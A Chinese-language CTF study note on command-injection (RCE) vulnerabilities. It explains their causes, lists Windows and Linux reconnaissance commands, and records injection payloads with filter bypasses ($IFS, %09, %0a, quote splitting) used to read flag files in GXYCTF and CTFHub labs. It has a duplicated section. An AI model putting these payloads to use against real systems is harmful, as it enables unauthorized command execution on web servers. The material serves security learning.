7月21日总结
命令执行
RCE
RCE(remote code execute):远程命令执行或者代码执行,我们平时说的rce,比如thinkPHP的
rce漏洞,即算代码注入漏洞,也算rce漏洞,因为渗透的最终情况可以实现执行命令或者是代码都属于
RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE。
命令执行的原理
命令执行漏洞指的是网站的应用程序有些需要调用执行系统命令,当用户能控制这些函数中的参数
时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
system("cat /flag")
命令执行的成因
1、代码层过滤不严格:商业应用需要执行命令,商业应用的一些核心代码可能封住在二进制文件当中,
在web应用中通过system函数调用。
system("/bin/program --arg $arg")
2、调用第三方组件存在的代码执行漏洞:如wordpress,可以选择imagemagick这个常用的图片处理
组件,处理用户上传图片时造成命令执行;还有JAVA中 struts2/elasticsearch groovy等。
命令执行漏洞分类
1、代码层过滤不严
2、系统的漏洞造成命令注入
3、调用的第三方组件存在代码执行漏洞
RCE
RCE(remote code execute):远程命令执行或者代码执行,我们平时说的rce,比如thinkPHP的
rce漏洞,即算代码注入漏洞,也算rce漏洞,因为渗透的最终情况可以实现执行命令或者是代码都属于
RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE。
命令执行的原理
命令执行漏洞指的是网站的应用程序有些需要调用执行系统命令,当用户能控制这些函数中的参数
时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
system("cat /flag")
命令执行的成因
1、代码层过滤不严格:商业应用需要执行命令,商业应用的一些核心代码可能封住在二进制文件当中,
在web应用中通过system函数调用。
system("/bin/program --arg $arg")
2、调用第三方组件存在的代码执行漏洞:如wordpress,可以选择imagemagick这个常用的图片处理
组件,处理用户上传图片时造成命令执行;还有JAVA中 struts2/elasticsearch groovy等。
命令执行漏洞分类
1、代码层过滤不严
2、系统的漏洞造成命令注入
3、调用的第三方组件存在代码执行漏洞
启用一个端口为8081的服务器
Windows常用的命令和特殊字符
常用的命令
1、dir----查看文件目录
2、ipconfig----查看Windows的IP地址
3、arp -a----查看ARP缓存表
4、calc----在命令行打开计算器
5、regedit----打开注册表
6、netstat -ano----查看开放的端口信息
特殊字符
1、| 直接执行后面的语句
2、|| 前面出错执行后面的,前面为假
3、& 前面的语句为假则直接执行后面的,前面可真可假
4、&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
Linux常用的命令和特殊字符
常用的命令
1、cat /etc/passwd----查看
2、passwd文件 id----查看该用户的ID号
3、groups----查看用户所属的组
4、cat /etc/group----查看组信息
5、whoami----查看当前用户
6、pwd----查看当前路径
7、uname -a----查看主机信息
8、cat /etc/issue----查看主机的配置信息
9、netstat -pantu----查看开放的端口信息
10、netstat -nr----查看路由信息
特殊字符
1、; 前面的执行完执行后面的
2、| 管道符,显示后面的执行结果
3、|| 当前面的执行出错时执行后面的
4、& 前面的语句为假则直接执行后面的,前面可真可假
5、&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
6、换行符(编码)
"exec(),echo(),eval()..."点击查看元宝的回答
https://yuanbao.tencent.com/bot/app/share/chat/fhZKut0sp8oO(最底下见)
https://yuanbao.tencent.com/bot/app/share/chat/fhZKut0sp8oO(最底下见)
exec(),echo,eval()
函数 | 作用 | 输入类型 | 输出结果 | 安全风险等级 |
---|---|---|---|---|
exec() | 执行系统命令 | 字符串(命令) | 命令的最后一行 | ⚠️ 高危(命令注入) |
echo | 输出内容 | 字符串/变量 | 直接显示内容 | ✅ 安全 |
eval() | 执行字符串中的代码 | 字符串(代码) | 代码执行结果 | ☠️ 极高危(代码注入) |
第一种方法
上传木马,然后通过蚁剑连接查找flag
第二种方法
利用重定向符
ip=1;ls /> 1.txt 查找根目录
ip=1;ls>1.txt 查找目录
ip=1;cat /flag.txt> 1.txt 查找flag
空格绕过
以ls /举例
{ls,/}
以ls /
ls${IFS}/
使用 < , < 表示的是输入重定向的意思,就是把 < 后面跟的文件取代键盘作为新的输入设备。“命令 <
文件” ,这是将文件作为命令输入
ls</
ls%09/
ls$IFS$9/
[GXYCTF2019]Ping Ping Ping 1
flag,空格被过滤
1,使用传递参数(因为不能出现flag整体)黑名单绕过
2,使用反引号
3,使用base64将cat flag.php编码
ctfhub技能树
命令注入
ip=;ls 查看当前目录
ip=;cat 883914094984.php 查看源码得到flag
过滤cat
试了一下,这些方法都可以,成功后查询源码即可
过滤空格
试了一下,%09,$IFS$9,${IFS},<重定向符号都可以
直接查询后检查源代码即可
过滤目录分隔符
cat /目录名/文件名和cd 目录名;cat 文件名的区别
点击查看元宝的回答
https://yuanbao.tencent.com/bot/app/share/chat/JVfus9hjYbil
ip;ls 查看当前目录ip;cd flag_is_here;ls 使用cd命令进入flag_is_here 查看其下的文件ip;cd flag_is_here;cat flag_146242307015503.php 打印flag_146242307015503.php检查源码即可
过滤运算符
过滤了&,|,使用;即可
ip=;ls
ip=;cat flag_19386297068450.php
综合过滤练习
这里使用单引号''绕过,这里用$@、$*、""都可以绕过,变量拼接似乎不行
ip=%0als 查看当前目录ip=%0acd$IFS$9fla$1g_is_here%0als 使用cd命令进入flag_is_here,并用ls查看其内容ip=%0acd$IFS$9fla$1g_is_here%0aca$1t$IFS$9fla$1g_146242307015503.php
打印flag_146242307015503.php然后查看flag
通配符绕过
可以使用通配符绕过
通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。当查找文件夹时,可以使 用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一 个或多个真正的字符
以上内容详细可见(命令执行的PPT)
命令执行漏洞利用及绕过方式总结,从零基础到精通,收藏这篇就够了!_当利用远程命令执行漏洞执行系统命令时,空格被防护代码过滤,以下哪个符号可以替代_命令注入绕过空格-CSDN博客